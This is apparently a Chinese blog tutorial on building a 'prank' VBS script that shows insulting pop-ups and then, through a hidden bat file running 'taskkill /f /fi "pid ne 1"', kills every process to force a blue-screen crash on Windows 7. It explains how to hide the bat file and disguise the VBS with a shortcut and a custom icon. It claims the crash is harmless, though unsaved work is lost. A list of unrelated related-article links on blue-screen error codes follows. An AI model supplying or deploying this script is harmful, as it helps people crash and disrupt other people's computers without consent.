蓝屏重点：在VBS输入整人代码，然后用VBS打开bat蓝屏文件

VBS框架：

msgbox" " 弹窗

createobject("wscript.shell").run "cmd /c start " 打开文件

inputbox(" ") 输入

dim 定义变量

if MsgBox("这里是弹窗内容",vbYesNo,"这里是弹窗内容")=vbyes thenmsgbox "这里是弹窗内容",64,"这里是弹窗内容"elsemsgbox "这里是弹窗内容",64,"这里是弹窗内容"
createobject("wscript.shell").run "cmd /c start 这里要填想要打开的文件路径"
end if

dim a
a=InputBox("这里是弹窗内容")
if a="这里是要输入的内容"then
Msgbox"这里是弹窗内容",64,"这里是弹窗内容"
else
Msgbox"这里是弹窗内容",64,"这里是弹窗内容"
createobject("wscript.shell").run "cmd /c start 这里要填想要打开的文件路径"
end if

方法一：

1. 在隐蔽的地方新建一个文本文档，改名叫蓝屏.bat，右键编辑，输入

taskkill /f /fi "pid ne 1"

taskkill /f /fi "pid ne 1"

保存。

2.再找一个文件夹，（或者就在bat文件的下面）新建一个文本文档，改名叫整人.VBS,右键编辑，输入

if MsgBox("你是傻逼吗？",vbYesNo,"警告！！")=vbyes then

msgbox "我擦你竟然是傻逼！！!",64,"哈哈哈哈~笑死我了！"

else

msgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!"
createobject("wscript.shell").run "cmd /c start K:\超级幻影编程\BAT\新建文件夹\蓝屏.bat"
end if

if MsgBox("你是傻逼吗？",vbYesNo,"警告！！")=vbyes thenmsgbox "我擦你竟然是傻逼！！!",64,"哈哈哈哈~笑死我了！"elsemsgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告!!!!!!!!!"
createobject("wscript.shell").run "cmd /c start K:\超级幻影编程\BAT\新建文件夹\蓝屏.bat"
end if

注意：中文部分是可以改的，start后面是蓝屏.bat文件的路径，msgbox弹窗可以自己增加。

3.（重要！）点击文件，另存为，把编码改为ANSI，保存。

4.（可弄可不弄）单击VBS文件，右键，单击发送到，桌面快捷方式，右键属性，更改图标，OK！

方法二：

1.同上

2.再找一个文件夹，（或者就在bat文件的下面）新建一个文本文档，改名叫整人.VBS,右键编辑，输入

dim a
a=InputBox("你是不是SB？！")
if a="是"then
Msgbox"我擦你竟然是傻逼！！!",64,"哈哈哈哈~笑死我了！"
else
Msgbox"还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",0,"严重警告!!!!!!!!!"
createobject("wscript.shell").run "cmd /c start K:\超级幻影编程\BAT\新建文件夹\蓝屏.bat"
end if

dim a
a=InputBox("你是不是SB？！")
if a="是"then
Msgbox"我擦你竟然是傻逼！！!",64,"哈哈哈哈~笑死我了！"
else
Msgbox"还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……?",0,"严重警告!!!!!!!!!"
createobject("wscript.shell").run "cmd /c start K:\超级幻影编程\BAT\新建文件夹\蓝屏.bat"
end if

3. 同上

4. 同上

这种蓝屏对电脑是无害的，重启一遍就好了。

VBS整人蓝屏代码（Windows 7 直接蓝屏，重启即可恢复，亲测有效！！）相关推荐

计算机蓝屏代码0x000000ED,电脑开机蓝屏代码为0x000000ED怎么解决？
计算机开机出现蓝屏代码STOP(停止):0x000000ED,不能进入操作系统.如何解决蓝屏代码为0x000000ED电脑蓝屏问题呢? 1.左键双击:蓝屏助手(软媒魔方中有)图标: 2.在打开的蓝屏助 ...
win7 刷新计算机评分蓝屏,Win7蓝屏怎么办？学懂这些蓝屏代码，告别系统蓝屏问题...
原标题:Win7蓝屏怎么办?学懂这些蓝屏代码,告别系统蓝屏问题虽说现在Win10系统已普及,但使用Win7系统的仍不在少数.前几天有位小伙伴来问我:"他在使用电脑的过程中,老是会莫名其妙出 ...
计算机蓝屏代码0000a,计算机出现蓝屏代码0x0000000a原因及解决方案
本篇文章给大家提供的是计算机出现蓝屏代码0x0000000a原因及解决方案,通过这篇文章您可以更好的了解出现蓝屏代码0x0000000a原因和蓝屏代码0x0000000a解决方案,希望能对您有所帮助. ...
windows7系统蓝屏代码大全收藏下次蓝屏可查
蓝屏代码查询器 1.1.9 绿色免安装版 1.代码查询即根据蓝屏代码查找电脑出现蓝屏的原因,并且可搜索微软知识库(强烈推荐). 2.解决方案讲述了经常发生蓝屏的原因及防范对策,这篇文章内容较全面并 ...
Windows环境VS2017编译skia库-m84，亲测成功，使用官方编译的方法
环境准备 Windows7/10电脑需要能访问https://skia.org/和https://skia.googlesource.com/skia.git 在Windows上安装Visual St ...
windows蓝屏代码大全及常见蓝屏解决方案
对于以下的代码查询建议使用ctrl+F查询,而且很多蓝屏与黑屏的问题多是最近操作引起的,例如更新驱动,安装新的硬件.软件--把相关的配置调到最近的正常状况大多可以解决,确实不行时方可考虑重装系统,解决 ...
计算机蓝屏代码0000a,win7电脑蓝屏代码显示0x0000001A的解决方法
这里为大家介绍的是解决win7电脑蓝屏代码显示0x0000001A的方法,在使用电脑的时候遇到蓝屏的问题想必已经是老生常谈了吧,不过对于出现蓝屏的原因有很多,每次出现蓝屏都会产生一个代码,只要知道了代 ...
（整理）蓝屏代码对应原因_蓝屏问题解决方法
笔者由于笔记本经常蓝屏,个别原因较难搜索,决定自己整理蓝屏解决办法. 十六进制值文字代码可能的原因可尝试的解决方法 0x00000001 APC_INDEX_MISMATCH 驱动出现问题,或安 ...
win10怎么录屏？windows自带录屏功能怎么用
相信很多小伙伴家里的电脑都是win10系统的,想要录制电脑上的画面,那么就需要用到了windows自带的录屏功能.win10怎么录屏?windows自带的录屏功能怎么用?别担心,今天小编就来教教大家 ...

VBS整人蓝屏代码（Windows 7 直接蓝屏，重启即可恢复，亲测有效！！）